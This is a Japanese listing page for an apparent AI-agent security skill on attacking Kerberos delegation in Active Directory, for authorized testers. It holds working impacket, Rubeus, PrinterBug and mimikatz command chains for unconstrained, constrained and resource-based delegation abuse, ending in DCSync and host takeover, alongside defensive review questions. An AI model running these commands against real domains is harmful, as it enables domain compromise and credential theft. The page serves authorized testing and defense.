attacking-kerberos-delegation について
Kerberos 委任を調査する、認可された Active Directory テスト担当者や防御担当者向けのセキュリティスキルです。非制約、制約付き、リソースベースの制約付き委任を区別し、列挙と防御レビューの方法を説明します。
主な機能
- 013 種類の Kerberos 委任を列挙
- 02非制約委任によるチケットのリスクを説明
- 03制約付き委任と S4U 経路を分析
- 04RBCD とコンピューターオブジェクト権限を解説
- 05委任に関する防御策を確認
活用シーン
- 01BloodHound が示す委任関係の調査
- 02コンピューターオブジェクトへの書き込み権限の検証
- 03特権アカウントとマシンアカウント枠の確認
- 04委任悪用に対する検知範囲の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-kerberos-delegationインストール後、Claude Code で/attacking-kerberos-delegationを入力して読み込まれたか確認します。
詳細
Kerberos 委任への攻撃
委任を使うと、サービスは別のサービスに対してユーザーになりすませます。どの種類も、他人になることを制御する仕組みですが、制御をなくしてしまう設定ミスがあります。特に RBCD は、コンピューターオブジェクトへの書き込みアクセス権という、一見影響が小さそうな一般的な権限を、そのホストの完全な侵害につなげます。そのため、委任攻撃の中でも最もよく見られます。
テストの許可を得たドメインに対してのみ実施してください。
使用する場面
- BloodHound が
Unconstrained、Constrained、またはRBCDの委任を検出した場合 - SPN を持つアカウントを制御している場合、またはコンピューターオブジェクトに対する
GenericWrite/GenericAllを持っている場合 - マシンアカウントを作成できる場合(
MachineAccountQuotaの既定値は 10 です) - 委任が設定されたホストを制御している場合
- 防御目的で委任の設定を確認する場合
使用しない場面
- 証明書サービスの悪用 —
abusing-adcsを使用してください - Kerberoasting、DCSync、一般的な AD —
attacking-active-directoryを使用してください - Entra ID —
attacking-entra-idを使用してください - 検出 —
engineering-detectionsを使用してください。TGS/S4U のパターンとマシンアカウントの作成(4741)がテレメトリです
3 種類を列挙する
# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10 # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it
どの種類に該当するかによって、すべてが決まります。
| 種類 | マーカー | 信頼の方向 |
|---|---|---|
| 無制約 | アカウントに TRUSTED_FOR_DELEGATION が設定されている | ホストは、認証を行った誰にでもなりすませます |
| 制約付き | msDS-AllowedToDelegateTo に値が設定されている | ホストは誰にでもなりすませますが、指定されたサービスに限られます |
| RBCD | ターゲットに msDS-AllowedToActOnBehalfOfOtherIdentity が設定されている | ターゲットが、自身になりすませる対象を指定します |
無制約委任
無制約委任が設定されたホストは、認証を行ったユーザーの TGT をキャッシュします。まずホストを侵害し、次に高価値アカウント(理想的にはドメインコントローラー)に認証を強制させ、その TGT を取得します。
# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:[email protected]' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice
# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt
Printer Bug(MS-RPRN)と PetitPotam(MS-EFSR)は、ターゲットに認証を強制させるための手段です。ドメインコントローラーに無制約委任ホストへの認証を強制させれば、ドメイン侵害に直結します。
制約付き委任
あるサービスへの制約付き委任が設定されたホストは、そのサービスに対してどのユーザーにもなりすませます。ドメイン管理者になりすますことも可能で、S4U2Self の後に S4U2Proxy を使えば、自分自身をドメイン管理者になりすませることもできます。
# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
代替サービスのトリックが重要です。 S4U2Proxy は要求した SPN のチケットを返しますが、サービスクラスは暗号学的に結び付けられていません。ターゲットサービスはサーバー名のみを確認するため、cifs/dc01 のチケットを host/dc01、ldap/dc01、http/dc01 に書き換えられます。そのため、time/dc01 のような「無害な」サービスに制約された委任でも、ldap/dc01 を取得でき、結果として DCSync が可能になります。リストされた SPN が無害そうだからといって、制約付き委任を軽視しないでください。
リソースベースの制約付き委任(RBCD)
最もよく見られる委任攻撃です。前提条件が一般的で、コンピューターオブジェクトの msDS-AllowedToActOnBehalfOfOtherIdentity に書き込みアクセスできれば成立します。ターゲットコンピューターに対する GenericWrite、GenericAll、WriteDacl、または WriteProperty のいずれかがあれば十分です。
# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
domain.local/user:pass -dc-ip 10.0.0.10
# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
domain.local/user:pass -dc-ip 10.0.0.10
# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
そのため、コンピューターに対する BloodHound の GenericWrite エッジは、軽微な指摘ではありません。3 つのコマンドで、そのコンピューターを完全に乗っ取れます。コンピューターオブジェクトへの書き込み権限を報告する場合は、RBCD と同等の重大度で報告してください。
MachineAccountQuota が 0 の場合、マシンアカウントは作成できません。ただし、制御下にある既存アカウントが SPN を持っていれば、「from」アイデンティティとして使用できます。また、GenericWrite により、自分または別のユーザーのユーザーアカウントに SPN を設定できる場合も、代わりに使用できます。
保護されたアカウント
委任経路にかかわらず、なりすましに対して保護されているターゲットがいくつかあります。
- Protected Users のメンバーには委任できません。
- 「アカウントは機密性が高く、委任できない」
(
NOT_DELEGATED)とフラグが設定されたアカウントは対象外です。 - なりすましの対象が保護されている場合は、保護されていない別の特権アカウントを選んでください。ほぼ間違いなく見つかります。
労力を費やす前に確認してください。
Get-DomainUser -AllowDelegation -AdminCount | select name # delegatable admins
防御レビュー
- 制約のない委任が設定されているアカウントはどれですか? また、それが必要なアカウントはありますか?(DCには必要ですが、それ以外ではほとんど必要ありません。)
- 特権アカウントは Protected Users に含まれ、
NOT_DELEGATEDのフラグが設定されていますか? MachineAccountQuotaは 0 に引き下げられていますか?- コンピューターオブジェクト、特にサーバーや DC に対する書き込み権限を持っているのは誰ですか?
- ドメインコントローラーのサービスクラスへの委任は監査されていますか?
- S4U2Self/S4U2Proxy のパターンは監視されていますか?
却下すべき合理化
- 「委任先は無害なサービスだけです。」 サービスクラスは書き換え可能です。
time/dc01はldap/dc01になります。 - 「コンピューターに対する GenericWrite にすぎず、深刻度は低いです。」 これは RBCD です。ホストを完全に乗っ取れます。
- 「コンピューターアカウントは作成できません。クォータは 0 です。」 SPN を持つ、自分が制御できるアカウントであれば代用できます。
- 「制約のない委任が設定されているのはメンバーサーバーで、DCではありません。」 DC を強制的に認証させればよいのです。サーバーの信頼レベルは関係ありません。
- 「なりすましの対象はドメイン管理者なので、保護されているはずです。」 確認してください。ほとんどの管理者は Protected Users に含まれていません。
- 「BloodHound にエッジが表示されませんでした。」 委任属性を調べるには最新の収集データが必要です。古いデータでは RBCD がまったく検出されません。
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されています。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID が
現在の ATT&CK リリースと一致していることを再確認してください。
認証情報アクセス(TA0006)
- T1558 Kerberos チケットの窃取または偽造 —
attacking-active-directoryも参照してください
これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。
参考資料
attacking-active-directory— DCSync と、そこにつながるより広範なドメイン経路abusing-adcs— もう一つの効果の高い権限昇格の系統。この手法と組み合わされることもよくありますengineering-detections— S4U およびコンピューターアカウント作成のテレメトリreporting-security-findings— 書き込みプリミティブに関する検出事項の深刻度- impacket(getST、rbcd、addcomputer、findDelegation)、Rubeus、PowerView、BloodHound